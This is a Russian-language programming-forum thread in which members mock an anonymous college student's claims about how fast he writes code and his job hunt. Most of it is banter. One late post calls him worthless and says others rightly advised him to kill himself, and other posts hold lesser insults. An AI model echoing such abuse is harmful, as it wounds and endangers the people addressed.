Нет, но придумывание названий переменных и их типов занимается наверно четверть секунды, это не есть долго...

M>2. ДА и не могу я представить ни один четкий алгоритм такого размера.

А я могу, т.к. уже писал такие для своих нужд.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Ovl, Вы писали:

А>>>В Micro$oft не пойду, даже если сам Билли позвонит мне на мобильник. Надо российские ИТ поднимать.

Ovl>>так а как хочешь поднять? в одиночку? или команду будешь набирать?

А>В перспективе — команду, конечно.

это хорошо. потому что увидишь, какие разные бывают люди.
и если у тебя будет 10 вариантов + 1 невнятный, то я думаю будешь выбирать из 10.
ну это в будущем, так что неважно.
главное — это понять, что команда — это не стадо баранов, которым рулить можно, у каждого своя голова присутствует.

а вообще — давай, энтузиазм — это хорошо. я вот уже отучился, а от мысли написать ОС все никак избавится не могу, до сих пор идеи собираю

Здравствуйте, mogadanez, Вы писали:

M>Здравствуйте, <Аноним>, Вы писали:

А>> Сам же я как и говорил в самом первом посте, учусь в колледже.

M>в кулинарном?

LOL

а я уже было отписываться от темы решил, но пока все-таки не буду, ведь... ШОУ продолжается

в кулинарном.... ахахаха.......

Здравствуйте, Ovl, Вы писали:

Ovl>Здравствуйте, mogadanez, Вы писали:

M>>>>Я вас сейчас совсем добью.... у нас второе интерьвью длится ОТ 2х часов.

А>>>Так вы же себе антирекламу делаете, говоря подобные ужосы. Ибо это плохо.

M>>за меньшее время _невозможно_ выяснять досканально уровень человека. причем если человек без опыта — как Вы, то тем более, нужно еще больше времени чтобы в нем разглядеть потенциал. кстати многие кандидаты наоборт сами задерживаются подольше, пообщаться, посмотореть как мы работаем. а не убегают впопыхах.
M>>насчет антирекламы не беспокойтесь, кроме вас никто это не считает настолько ужосным

А>>> Всё, я к вам точно не пойду. Да я за эти два часа... лучше 10 страниц кода напишу...

M>>вы его на бумаге пишете?

M>>а если серьезно, НЕ ВОЗМОЖНО написать за 2 часа 10 страниц кода. не смешите публику

Ovl>Copy-Paste

Тоже верно, как же без него-то?

M>>1. Я знаю очень много людей, НИ ОДИН из них не способен печатать 2 часа неотрываясь. Даже девушки секретарши.
А>Я способен и больше. Вообще за компом сижу очень много неотрываясь. Хотя... почему не отрываясь? Ну там покурить на 10 мин можно сходить...

курить бросай, вредно

M>>2. У вас в голове алгоритм созревает сразу с названиями переменных и методов? или вы из называете m1, a2?
А>Нет, но придумывание названий переменных и их типов занимается наверно четверть секунды, это не есть долго...

везет... я уже второй день думаю с каким префиксом тестовые процедуры в базе именовать

M>>2. ДА и не могу я представить ни один четкий алгоритм такого размера.
А>А я могу, т.к. уже писал такие для своих нужд.

с тестами?

Здравствуйте, mogadanez, Вы писали:

А>> Сам же я как и говорил в самом первом посте, учусь в колледже.

M>в кулинарном?

Опять хамство.
Если сравнить кто больше здесь во всей ветке сказал грубости, окажется что вы все больше чем я один. Посчитайте.

Нет, по своей родной специальности "Программное обеспечение вычислительной техники и автоматизированных систем".
Хотя готовить тоже люблю, без шуток!
Я вообще творческий человек.

решил свой вариант переноса предложить, захожу — там все отправляют в "Коллеги, улыбнитесь".

Коллеги, подумайте, может быть все-таки в "Священные войны"?

Здравствуйте, <Аноним>, Вы писали:

Ты испортил мне рабочий день... если к обеду смогу вылезти из под стола будет счастье

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, Ovl, Вы писали:

M>>>2. ДА и не могу я представить ни один четкий алгоритм такого размера.
А>>А я могу, т.к. уже писал такие для своих нужд.

Ovl>с тестами?

Потом и тестировал, после набора

Здравствуйте, <Аноним>, Вы писали:

А>Здравствуйте, mogadanez, Вы писали:

А>>> Сам же я как и говорил в самом первом посте, учусь в колледже.

M>>в кулинарном?

А>Опять хамство.

Где хамство? я просто спросил, нам на самом деле один раз товарищ присылал резюме — учился в кулинарном. пол резюме было об этом.

А>Хотя готовить тоже люблю, без шуток!
А>Я вообще творческий человек.

как шутки связаны с творчеством?

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Ovl, Вы писали:

M>>>>2. ДА и не могу я представить ни один четкий алгоритм такого размера.
А>>>А я могу, т.к. уже писал такие для своих нужд.

Ovl>>с тестами?

А>Потом и тестировал, после набора

а сколько длилось написание тестов и отладка кода после этого?

Здравствуйте, Ovl, Вы писали:

Ovl>а вообще — давай, энтузиазм — это хорошо. я вот уже отучился, а от мысли написать ОС все никак избавится не могу, до сих пор идеи собираю

Вот за это — респект. Потому что хрен знает что с M$ там потом будет, так что нужно альтернативу готовить... Про Linux и слушать ничего не хочу.

Здравствуйте, <Аноним>, Вы писали:

Ovl>>Copy-Paste

А>Тоже верно, как же без него-то?

на бумаге??

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Ovl, Вы писали:

Ovl>>а вообще — давай, энтузиазм — это хорошо. я вот уже отучился, а от мысли написать ОС все никак избавится не могу, до сих пор идеи собираю

А>Вот за это — респект. Потому что хрен знает что с M$ там потом будет, так что нужно альтернативу готовить... Про Linux и слушать ничего не хочу.

ммм.. ты за МС не беспокойся, она ещё тебя переживет

цель — не столько альтернатива, сколько воплощение грамотных идей

Здравствуйте, Unhandled_Exception, Вы писали:

U_E>Здравствуйте, Аноним, Вы писали:

U_E>>>Если я правильно помню, я начал кодить на фирму в 17, т.е. на втором курсе... я многих знаю, кто в это время начал получать реальный опыт. Это нормально.

А>>Билли тоже начал кодить в 15...

U_E>и за эти два года он заработал все то, что предназначалось мне

блин... АПАЗДАЛ!

ну не совсем он

у него там backup в IBM был уже

Здравствуйте, Ovl, Вы писали:

Ovl>решил свой вариант переноса предложить, захожу — там все отправляют в "Коллеги, улыбнитесь".

Ovl>Коллеги, подумайте, может быть все-таки в "Священные войны"?

Я как автор темы — за. Работу с такой веткой всё равно не найдёшь.

Здравствуйте, mogadanez, Вы писали:

M>Здравствуйте, <Аноним>, Вы писали:

Ovl>>>Copy-Paste

А>>Тоже верно, как же без него-то?

M>на бумаге??

так а принтер на что?

Здравствуйте, Ovl, Вы писали:

Ovl>Здравствуйте, Аноним, Вы писали:

А>>Здравствуйте, Ovl, Вы писали:

M>>>>>2. ДА и не могу я представить ни один четкий алгоритм такого размера.
А>>>>А я могу, т.к. уже писал такие для своих нужд.

Ovl>>>с тестами?

А>>Потом и тестировал, после набора

Ovl>а сколько длилось написание тестов и отладка кода после этого?

Написание тестов — минут 10. Отладка — когда как, от 15 минут до часа.

M>>1. Я знаю очень много людей, НИ ОДИН из них не способен печатать 2 часа неотрываясь. Даже девушки секретарши.
А>Я способен и больше. Вообще за компом сижу очень много неотрываясь. Хотя... почему не отрываясь? Ну там покурить на 10 мин можно сходить...

Мы все сидим за компами не отрываясь. часов по 10 минимум. но не
так с перерывами на покурить при вашей скорости печати вы не успеете 10 страниц набрать — нестыковочка.

M>>2. У вас в голове алгоритм созревает сразу с названиями переменных и методов? или вы из называете m1, a2?
А>Нет, но придумывание названий переменных и их типов занимается наверно четверть секунды, это не есть долго...

как вы засекали четверть секунды? да и тут мне слабо верится. и документацией вы не пользуетесь? вы помните все классы-методы тех сред на чем пишите?

M>>2. ДА и не могу я представить ни один четкий алгоритм такого размера.
А>А я могу, т.к. уже писал такие для своих нужд.

Пример можете привести? пример большого ( давайте хотябы на 3 страницы ) алгоритма, который вы в голове смогли продумать настолько чтобы потом безотрывно, с максимальной скоростю его набрать?

P.S. Вы тут както упоминали правила форума, в них есть пункт про оверквотинг. пожалуйста стирайте лишнюю часть сообщения.

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, mogadanez, Вы писали:

M>Здравствуйте, <Аноним>, Вы писали:

M>

M>Ты испортил мне рабочий день... если к обеду смогу вылезти из под стола будет счастье

Ну хоть кого-то это ветка вставляет от души. Чёрт, я рад.

Здравствуйте, Ovl, Вы писали:
Ovl>решил свой вариант переноса предложить, захожу — там все отправляют в "Коллеги, улыбнитесь".
Ovl>Коллеги, подумайте, может быть все-таки в "Священные войны"?
Скорее в "О работе" с переименованием "Как не надо вести себя на форуме"

... << RSDN@Home 1.2.0 alpha rev. 655>> MSSQL2000Personal
С уважением, Dziman

Здравствуйте, mogadanez, Вы писали:

M>>>2. У вас в голове алгоритм созревает сразу с названиями переменных и методов? или вы из называете m1, a2?
А>>Нет, но придумывание названий переменных и их типов занимается наверно четверть секунды, это не есть долго...

M>как вы засекали четверть секунды? да и тут мне слабо верится. и документацией вы не пользуетесь? вы помните все классы-методы тех сред на чем пишите?

Ну почему же, пользуюсь MSDN'ом — рульная вещь. Хотя некоторые классы и методы среды .NET я уже успел выучить. Ну не четверть секунды, когда как. Не надо воспринимать буквально, главное что это не есть проблема и я как правильно, после написания кода, не помню определял ли я там переменные вообще или нет

M>>>2. ДА и не могу я представить ни один четкий алгоритм такого размера.
А>>А я могу, т.к. уже писал такие для своих нужд.

M>Пример можете привести? пример большого ( давайте хотябы на 3 страницы ) алгоритма, который вы в голове смогли продумать настолько чтобы потом безотрывно, с максимальной скоростю его набрать?

Например, как-то писал длиный-длиный метод, который извлекал всю информацию о типе (System.Type), о компонентах этого типа (методах, свойствах, событиях, и т.д.), о реализуемых интерфейсах, о базовых типах, применённых аттрибутах и т.п.
Уж не помню, сколько он был страниц, но это был очень длинный код... Его набрал чуть больше чем за 2а часа, т.к. чётко представлял себе последовательность действий.

M>P.S. Вы тут както упоминали правила форума, в них есть пункт про оверквотинг. пожалуйста стирайте лишнюю часть сообщения.

Я всегда сохраняю те части, минимально необходимые для понимая последних сообщений. С правилами я знаком.

А>Ну почему же, пользуюсь MSDN'ом — рульная вещь. Хотя некоторые классы и методы среды .NET я уже успел выучить. Ну не четверть секунды, когда как. Не надо воспринимать буквально, главное что это не есть проблема и я как правильно, после написания кода, не помню определял ли я там переменные вообще или нет

т.е. вы согласны, что все таки 10 страниц вы не наберете никак?

M>>Пример можете привести? пример большого ( давайте хотябы на 3 страницы ) алгоритма, который вы в голове смогли продумать настолько чтобы потом безотрывно, с максимальной скоростю его набрать?

А>Например, как-то писал длиный-длиный метод, который извлекал всю информацию о типе (System.Type), о компонентах этого типа (методах, свойствах, событиях, и т.д.), о реализуемых интерфейсах, о базовых типах, применённых аттрибутах и т.п.

пара проф. советов.
1. Длинные методы это плохо.
2. насчет копи паста... есть такой DRY Principle. причем это даже больше чем отказ от копипаста.

А>Уж не помню, сколько он был страниц, но это был очень длинный код...
то что вы описали — это максимум 1 страница.

А>Его набрал чуть больше чем за 2а часа, т.к. чётко представлял себе последовательность действий.

учитывая вашу склонность преувеличивать — наверное надо умножить на програмистскую константу.

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, Dziman, Вы писали:

D>Здравствуйте, Ovl, Вы писали:
Ovl>>решил свой вариант переноса предложить, захожу — там все отправляют в "Коллеги, улыбнитесь".
Ovl>>Коллеги, подумайте, может быть все-таки в "Священные войны"?
D>Скорее в "О работе" с переименованием "Как не надо вести себя на форуме"

возможно. но не в "улыбнитесь"

Здравствуйте, mogadanez, Вы писали:

А>>Ну почему же, пользуюсь MSDN'ом — рульная вещь. Хотя некоторые классы и методы среды .NET я уже успел выучить. Ну не четверть секунды, когда как. Не надо воспринимать буквально, главное что это не есть проблема и я как правильно, после написания кода, не помню определял ли я там переменные вообще или нет

M>т.е. вы согласны, что все таки 10 страниц вы не наберете никак?

Нет, не согласен

А>>Например, как-то писал длиный-длиный метод, который извлекал всю информацию о типе (System.Type), о компонентах этого типа (методах, свойствах, событиях, и т.д.), о реализуемых интерфейсах, о базовых типах, применённых аттрибутах и т.п.
M>1. Длинные методы это плохо.

Знаю, знаю. Я потом его разбил на более мелкие. Не надо учить тока меня.
Забыл добавить: тоже самое я делал с вложеными типами рекурсивно.

А>>Уж не помню, сколько он был страниц, но это был очень длинный код...
M>то что вы описали — это максимум 1 страница.

Ну попробуйте реализовать то, что я написал. Одной страницей дело не обойдётся.
Уже после того как я выделил вспомогательные методы, главный метод стал весить 200 строчек, а вспомогательные ну на страницы 4-5 наверно тянут.

M>>т.е. вы согласны, что все таки 10 страниц вы не наберете никак?

А>Нет, не согласен

о мой бох.... АХТУНГ!
1. мы выяснили, что 10 страниц это максимум что вы можете набрать за два часа только не отрываясь НИ РАЗУ.
2. также мы выяснили что вы все таки отвлекаетесь:
2.1 курите
2.2 смотрите МСДН
2.3 чешите я..а
3. т.е. реальное количество кода у вас меньше где то в sqrt( pi* e ) раз.
4. и вы все равно считаете что способны на это?

Вам в колледже логику не преподают? тогда лучше бы вы в политех шли.

А>Знаю, знаю. Я потом его разбил на более мелкие. Не надо учить тока меня.

Это уже чтото из репертуара Эллочки людоедки.
а время на рефакториг( если вы не знаете что это — читайте "разбиение на более мелкие") его на более мелкие вы уже не считаете временем написания кода?
т.е. у вас время написать код — это только время первой итерации?

А>Забыл добавить: тоже самое я делал с вложеными типами рекурсивно.

Ух ты...

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

А>либо на мыло: kent200120022003@mail.ru.
А>Звать меня Роман.

Никогда бы не написал на такой e-mail

Здравствуйте, Аноним, Вы писали:

А вообще зачем тебе работа программистом? Предлагаю развивать эту и новые подобные темы в "Коллеги, улыбнитесь", а то баянами и тупыми шутками уже достали. А народ будет тебе за поднятое настроение платить. К примеру, каждая улыбка будет стоить 100 рублей для Москвы и 50 для др. городов. Только одно требование: юмор должен быть искрометным, чтобы даже с большого похмела и бессонной ночи продирал до костей.

Здравствуйте, mogadanez, Вы писали:

M> 2.3 чешите я..а

Откровенное хамство

. Никто кроме меня на это внимания не обратил?
Или здесь все друг друга покрывают?

А>>Знаю, знаю. Я потом его разбил на более мелкие. Не надо учить тока меня.

M>его на более мелкие вы уже не считаете временем написания кода?
M>т.е. у вас время написать код — это только время первой итерации?

Да.

Здравствуйте, FunnyRabbit, Вы писали:

FR>Здравствуйте, Аноним, Вы писали:

FR>А вообще зачем тебе работа программистом? Предлагаю развивать эту и новые подобные темы в "Коллеги, улыбнитесь", а то баянами и тупыми шутками уже достали. А народ будет тебе за поднятое настроение платить. К примеру, каждая улыбка будет стоить 100 рублей для Москвы и 50 для др. городов. Только одно требование: юмор должен быть искрометным, чтобы даже с большого похмела и бессонной ночи продирал до костей.

Нет, спасибо. "Очень выгодное" предложение, но я всё-таки как-нибудь программистом устроюсь.

А>Откровенное хамство

. Никто кроме меня на это внимания не обратил?
А>Или здесь все друг друга покрывают?

нет хамство это:

А>>Хм... Вы что, дурак?

а это констатация факта, я многих знаю кто чешет

M>>его на более мелкие вы уже не считаете временем написания кода?
M>>т.е. у вас время написать код — это только время первой итерации?

А>Да.

Мой вам совет, бросить коледж и пойти учится в нормальный ВУЗ.
У вас нет шансов найти работу сейчас.

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, FunnyRabbit, Вы писали:

FR>А вообще зачем тебе работа программистом? Предлагаю развивать эту и новые подобные темы в "Коллеги, улыбнитесь", а то баянами и тупыми шутками уже достали. А народ будет тебе за поднятое настроение платить. К примеру, каждая улыбка будет стоить 100 рублей для Москвы и 50 для др. городов. Только одно требование: юмор должен быть искрометным, чтобы даже с большого похмела и бессонной ночи продирал до костей.

Я считаю, что тем, кто в теме уже отметился, тем месяц шуток бесплатно! или хотя бы с 50% скидкой

Народ, поднажмите немного! Сейчас до 300 сообщений дойдёт, рекорд ставим...

Здравствуйте, Аноним, Вы писали:

А>Народ, поднажмите немного! Сейчас до 300 сообщений дойдёт, рекорд ставим...

мне кажется, что все только начинается

я начинаю догадываться откуда может появиться привычка писать код на многих листочках

Здравствуйте, mogadanez, Вы писали:

M>Здравствуйте, <Аноним>, Вы писали:

M>

M>Ты испортил мне рабочий день... если к обеду смогу вылезти из под стола будет счастье

Ну — тебя я вижу совсем колбасит

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, mogadanez, Вы писали:

M>> 2.3 чешите я..а

А>Откровенное хамство

. Никто кроме меня на это внимания не обратил?
А>Или здесь все друг друга покрывают?

А>>>Знаю, знаю. Я потом его разбил на более мелкие. Не надо учить тока меня.

M>>его на более мелкие вы уже не считаете временем написания кода?
M>>т.е. у вас время написать код — это только время первой итерации?

А>Да.

Используйте общепринятый подход. Не вы здесь задаёте стандарты. Вы думаете, если вы заказчику скажете, что напишете программу за 1 неделю, а потом будете копаться месяц, потому что неделя — это только первая итерация, да ещё и не работающая, он будет вас ждать? Вы ошибаетесь, если так думаете.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>К вам тут в общем не плохо относятся. Учтите это.

А>Да на меня тут чуть ли не матюгаются!

Да, согласен. Но, поверьте мне, вы тут уже всех достали и это обращение очень неплохое. Если бы вы пришли на завод токарем работать и вели себя так, вас бы уже избили. А тут с вами ещё продолжают разговаривать, хотя больше ради развлечения уже.

Здравствуйте, Ovl, Вы писали:

Ovl>Здравствуйте, Dziman, Вы писали:

D>>Здравствуйте, Ovl, Вы писали:
Ovl>>>решил свой вариант переноса предложить, захожу — там все отправляют в "Коллеги, улыбнитесь".
Ovl>>>Коллеги, подумайте, может быть все-таки в "Священные войны"?
D>>Скорее в "О работе" с переименованием "Как не надо вести себя на форуме"

Ovl>возможно. но не в "улыбнитесь"

Ну, давайте согласуем этот вопрос и поменяем решение. И вообще, надо на ящик модераторам послать сообщение, наверное?

Здравствуйте, Аноним, Вы писали:

А>Написание тестов — минут 10. Отладка — когда как, от 15 минут до часа.

Черт, 500 строк отлаженного кода за 2 часа 25 минут.
Надо начальству посоветовать, пусть весь отдел наш разгоняет к чертям и берет одного такого гения

Здравствуйте, FDSC, Вы писали:

FDS>Если вы так быстро пишите, напишите мне прямо сюда код поиска файла с заданным именем в каталоге и его подкаталогах (с использованием WinAPI). Он должен правильно работать. И ещё — засеките, за сколько вы его напишете, считая с обдумыванием алгоритма.

Мне, по-вашему, совсем делать нечего?
И что это вы всё зациклились на файлах да на каталогах? Это конечно тоже одна из моих любимых тем, но есть и куча других...

Здравствуйте, FDSC, Вы писали:

FDS>Здравствуйте, Ovl, Вы писали:

Ovl>>Здравствуйте, Dziman, Вы писали:

D>>>Здравствуйте, Ovl, Вы писали:
Ovl>>>>решил свой вариант переноса предложить, захожу — там все отправляют в "Коллеги, улыбнитесь".
Ovl>>>>Коллеги, подумайте, может быть все-таки в "Священные войны"?
D>>>Скорее в "О работе" с переименованием "Как не надо вести себя на форуме"

Ovl>>возможно. но не в "улыбнитесь"

FDS>Ну, давайте согласуем этот вопрос и поменяем решение. И вообще, надо на ящик модераторам послать сообщение, наверное?

по-моему нет. на рсдн достаточно активные модеры

Здравствуйте, Unhandled_Exception, Вы писали:

U_E>Здравствуйте, FunnyRabbit, Вы писали:

FR>>А вообще зачем тебе работа программистом? Предлагаю развивать эту и новые подобные темы в "Коллеги, улыбнитесь", а то баянами и тупыми шутками уже достали. А народ будет тебе за поднятое настроение платить. К примеру, каждая улыбка будет стоить 100 рублей для Москвы и 50 для др. городов. Только одно требование: юмор должен быть искрометным, чтобы даже с большого похмела и бессонной ночи продирал до костей.

U_E>Я считаю, что тем, кто в теме уже отметился, тем месяц шуток бесплатно! или хотя бы с 50% скидкой

Какое там: в соучередители! Всем поровну!

Здравствуйте, FDSC, Вы писали:

FDS>Да, согласен. Но, поверьте мне, вы тут уже всех достали и это обращение очень неплохое. Если бы вы пришли на завод токарем работать и вели себя так, вас бы уже избили. А тут с вами ещё продолжают разговаривать, хотя больше ради развлечения уже.

Ну так давайте развлекаться, давайте веселиться!

Здравствуйте, Аноним, Вы писали:

А>Народ, поднажмите немного! Сейчас до 300 сообщений дойдёт, рекорд ставим...

Посмотри в философию программирования: там у них по теме до 1000 сообщений доходит, а у тебя сплошной оффтопик — и всего 300. Какой же это рекорд. Ступай в Философию и учись.

Здравствуйте, FDSC, Вы писали:

FDS>Здравствуйте, Аноним, Вы писали:

А>>Народ, поднажмите немного! Сейчас до 300 сообщений дойдёт, рекорд ставим...

FDS>Посмотри в философию программирования: там у них по теме до 1000 сообщений доходит, а у тебя сплошной оффтопик — и всего 300. Какой же это рекорд. Ступай в Философию и учись.

Для меня — рекорд.

Здравствуйте, FDSC, Вы писали:

U_E>>Я считаю, что тем, кто в теме уже отметился, тем месяц шуток бесплатно! или хотя бы с 50% скидкой

FDS>Какое там: в соучередители! Всем поровну!

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>Да, согласен. Но, поверьте мне, вы тут уже всех достали и это обращение очень неплохое. Если бы вы пришли на завод токарем работать и вели себя так, вас бы уже избили. А тут с вами ещё продолжают разговаривать, хотя больше ради развлечения уже.

А>Ну так давайте развлекаться, давайте веселиться!

это надоест.
даже уже тяжело читать. все хорошее кончается....

Здравствуйте, Unhandled_Exception, Вы писали:

U_E>Здравствуйте, Аноним, Вы писали:

А>>Народ, поднажмите немного! Сейчас до 300 сообщений дойдёт, рекорд ставим...

U_E>мне кажется, что все только начинается

я начинаю догадываться откуда может появиться привычка писать код на многих листочках

ПОПЁРЛО!!!!!!!!!!!!!!!!!!!!!!!!

Здравствуйте, Ovl, Вы писали:

Ovl>Здравствуйте, Аноним, Вы писали:

А>>Здравствуйте, FDSC, Вы писали:

FDS>>>Да, согласен. Но, поверьте мне, вы тут уже всех достали и это обращение очень неплохое. Если бы вы пришли на завод токарем работать и вели себя так, вас бы уже избили. А тут с вами ещё продолжают разговаривать, хотя больше ради развлечения уже.

А>>Ну так давайте развлекаться, давайте веселиться!

Ovl>это надоест.
Ovl>даже уже тяжело читать. все хорошее кончается....

Это тоже хорошо. Может быть когда уйдут хохмачи, начнут писать нормальные работодатели.

А>Это тоже хорошо. Может быть когда уйдут хохмачи, начнут писать нормальные работодатели.

Это исключено... нормальные работодатели отсюда ушли еще до хохмачей

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Ну что ж. Проект "антисоискатель-2" запущен в эфир. Начало здесь. Смотрите, не пропустите. Что будет дальше?

ЗЫ. Одна только просьба ко всем, кто писал в этой ветке: не пишите в новой.

Блин, тока что было 306 сообщений, стало 305, это как? Модеры что-то удалили?

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>Если вы так быстро пишите, напишите мне прямо сюда код поиска файла с заданным именем в каталоге и его подкаталогах (с использованием WinAPI). Он должен правильно работать. И ещё — засеките, за сколько вы его напишете, считая с обдумыванием алгоритма.

А>Мне, по-вашему, совсем делать нечего?

Если вы не врёте, то займёт это у вас 15 минут, не больше.

А>И что это вы всё зациклились на файлах да на каталогах? Это конечно тоже одна из моих любимых тем, но есть и куча других...

Я просто привёл задачку, которую я знаю как решать, решал и знаю, что она лёгкая и стандартная. Ну дак напишите? За 15 минут отлаженный работающий код. Всего 15 минут и вы тут огребёте работу. Возражения принимаются только вместе с кодом! Давайте, покажите что вы на что-то способны — иначе вы просто дерьмо, считайте — это вызов.

Здравствуйте, <Аноним>, Вы писали:
А>Ну что ж. Проект "антисоискатель-2" запущен в эфир. Начало здесь. Смотрите, не пропустите. Что будет дальше?

А>ЗЫ. Одна только просьба ко всем, кто писал в этой ветке: не пишите в новой.
Где-то я видел подобное оформление объявления

Удачи!

... << RSDN@Home 1.2.0 alpha rev. 655>> MSSQL2000Personal
С уважением, Dziman

Здравствуйте, FDSC, Вы писали:

FDS>Я просто привёл задачку, которую я знаю как решать, решал и знаю, что она лёгкая и стандартная. Ну дак напишите? За 15 минут отлаженный работающий код. Всего 15 минут и вы тут огребёте работу. Возражения принимаются только вместе с кодом! Давайте, покажите что вы на что-то способны — иначе вы просто дерьмо, считайте — это вызов.

У кого я огребу работу? У вас? Так к вам я не пойду полюбому. И вообще не пойду ни к кому, кто отписался в этой ветке.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>Я просто привёл задачку, которую я знаю как решать, решал и знаю, что она лёгкая и стандартная. Ну дак напишите? За 15 минут отлаженный работающий код. Всего 15 минут и вы тут огребёте работу. Возражения принимаются только вместе с кодом! Давайте, покажите что вы на что-то способны — иначе вы просто дерьмо, считайте — это вызов.

А>У кого я огребу работу? У вас? Так к вам я не пойду полюбому. И вообще не пойду ни к кому, кто отписался в этой ветке.
Зря вы так.
Ну вот скажите, чем вам не понравились мои сообщения?
По-моему, они были очень милые и пушистые.

Здравствуйте, Lonely Dog, Вы писали:

LD>Здравствуйте, Аноним, Вы писали:

А>>Здравствуйте, FDSC, Вы писали:

FDS>>>Я просто привёл задачку, которую я знаю как решать, решал и знаю, что она лёгкая и стандартная. Ну дак напишите? За 15 минут отлаженный работающий код. Всего 15 минут и вы тут огребёте работу. Возражения принимаются только вместе с кодом! Давайте, покажите что вы на что-то способны — иначе вы просто дерьмо, считайте — это вызов.

А>>У кого я огребу работу? У вас? Так к вам я не пойду полюбому. И вообще не пойду ни к кому, кто отписался в этой ветке.
LD>Зря вы так.
LD>Ну вот скажите, чем вам не понравились мои сообщения?
LD>По-моему, они были очень милые и пушистые.

Опять хохмочки. Вот поэтому и не пойду. Надо знать, когда пора заканчивать шутить.

Здравствуйте, Dziman, Вы писали:

D>Где-то я видел подобное оформление объявления

Удачи!

Да, да! Именно у вас и утянул.

M>т.е. вы согласны, что все таки 10 страниц вы не наберете никак?

Не, мне это тоже сейчас интересно стало. Попробовал. Установил на монике разрешение 600х800, а в студии 20-ый размер шрифта Consolas

и получил 11 строк на страницу

Ну а уж 110 строк, с юзингами, с отступами между функциями, регионами и классами, и многострочными комментариями за два часа с кофе мы справимся. Например, создав в дизайнере формочку и набросав в неё десяток пунктов меню\кнопок панели инструментов

То есть не количеством же в самом деле мерить надо — кто-то и десять страниц за полчаса набрать может; но мне это не интересно, давайте мерять качеством.

2Аноним: давай сюда свои десять страниц!

... << RSDN@Home 1.2.0 alpha rev. 652>>
Now playing: «Тихо в лесу…»

Здравствуйте, _FRED_, Вы писали:

_FR>Не, мне это тоже сейчас интересно стало. Попробовал. Установил на монике разрешение 600х800, а в студии 20-ый размер шрифта Consolas

и получил 11 строк на страницу

Не 600 на 800, а 800 на 600. Это к слову...

_FR>То есть не количеством же в самом деле мерить надо — кто-то и десять страниц за полчаса набрать может; но мне это не интересно, давайте мерять качеством.

Да, мерять надо качеством. И только потом количеством.

_FR>2Аноним: давай сюда свои десять страниц!

Извините, то что я писал — часть закрытого проекта. Исходники не дам.
А вообще зачем вам они?

А>У кого я огребу работу? У вас? Так к вам я не пойду полюбому. И вообще не пойду ни к кому, кто отписался в этой ветке.

в этой ветке отметилось много людей, учитывая что почти все они расказали показали эту тему своим друзьям, Вы себе половину Питерского рынка труда точно закрыли

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, mogadanez, Вы писали:

M>в этой ветке отметилось много людей, учитывая что почти все они расказали показали эту тему своим друзьям, Вы себе половину Питерского рынка труда точно закрыли

Половина Питерского рынка труда — хамы ???????!!!!!!

А>Извините, то что я писал — часть закрытого проекта.

у вас же все проекты не коммерческие?

А> Исходники не дам. А вообще зачем вам они?
Я тебя узнал ! ты Голум!

"мое... сокровище..."

или это паранойя?

вы по улице ходите спокойно? или боитесь что вас со спутника снимают?

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

M>>в этой ветке отметилось много людей, учитывая что почти все они расказали показали эту тему своим друзьям, Вы себе половину Питерского рынка труда точно закрыли

А>Половина Питерского рынка труда — хамы ???????!!!!!!

в вашем понимании этого слова — ДА. наверное даже больше... а остальные вам не подойдут потому что будут воровать у вас время,
за которое вы могли написать гениальный алгоритм.

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, <Аноним>, Вы писали:
А>Извините, то что я писал — часть закрытого проекта. Исходники не дам.
А>А вообще зачем вам они?
Если ты написал, что есть некоммерческий опыт — значит будь готов предоставить примеры кода

... << RSDN@Home 1.2.0 alpha rev. 655>> MSSQL2000Personal
С уважением, Dziman

Здравствуйте, mogadanez, Вы писали:

А>>Извините, то что я писал — часть закрытого проекта.

M>у вас же все проекты не коммерческие?

Да, но есть проекты, которые может быть станут таковыми.

M>вы по улице ходите спокойно? или боитесь что вас со спутника снимают?

Снимают, снимают. Я это знаю

Здравствуйте, Dziman, Вы писали:

D>Если ты написал, что есть некоммерческий опыт — значит будь готов предоставить примеры кода

А я и готов. И уже высылал тем, кто просил. Некоммерческое.
Но только для тех, кто реально хочет и может предложить мне работу.

Здравствуйте, <Аноним>, Вы писали:
А>А я и готов. И уже высылал тем, кто просил. Некоммерческое.
А>Но только для тех, кто реально хочет и может предложить мне работу.
У тебя очнь развита телепатия?

... << RSDN@Home 1.2.0 alpha rev. 655>> MSSQL2000Personal
С уважением, Dziman

Здравствуйте, Аноним, Вы писали:

А>У кого я огребу работу? У вас? Так к вам я не пойду полюбому. И вообще не пойду ни к кому, кто отписался в этой ветке.

В таком случае перестаньте писать в эту ветку: раз вы в ней работы всё равно не собираетесь искать.

P.S. Я, между прочим, не к себе вас приглашал, я вообще в Москве, но написали бы код, может быть и получили бы работу в СПБ (впрочем, я не уверен, что вас устроила бы там з/п).

Но вы же не хотите показывать, что вы умеете: пока вы показали, что только умеете пререкаться с начальством. В следующий раз, когда буду выяснять отношения с начальством, я им дам ссылку на этот форум, что бы они увидели какие бывают люди.

Вообще, вам правильно советовали убить себя об стенку: с такими претензиями вы не найдёте никакой работы, уж лучше сразу окончить вашу мученическую жизнь.

Здравствуйте, Dziman, Вы писали:

D>Здравствуйте, <Аноним>, Вы писали:
А>>А я и готов. И уже высылал тем, кто просил. Некоммерческое.
А>>Но только для тех, кто реально хочет и может предложить мне работу.
D>У тебя очнь развита телепатия?

Да вы не поняли, что я имел в виду. Ладно, не суть.

D>>У тебя очнь развита телепатия?

А>Да вы не поняли, что я имел в виду. Ладно, не суть.

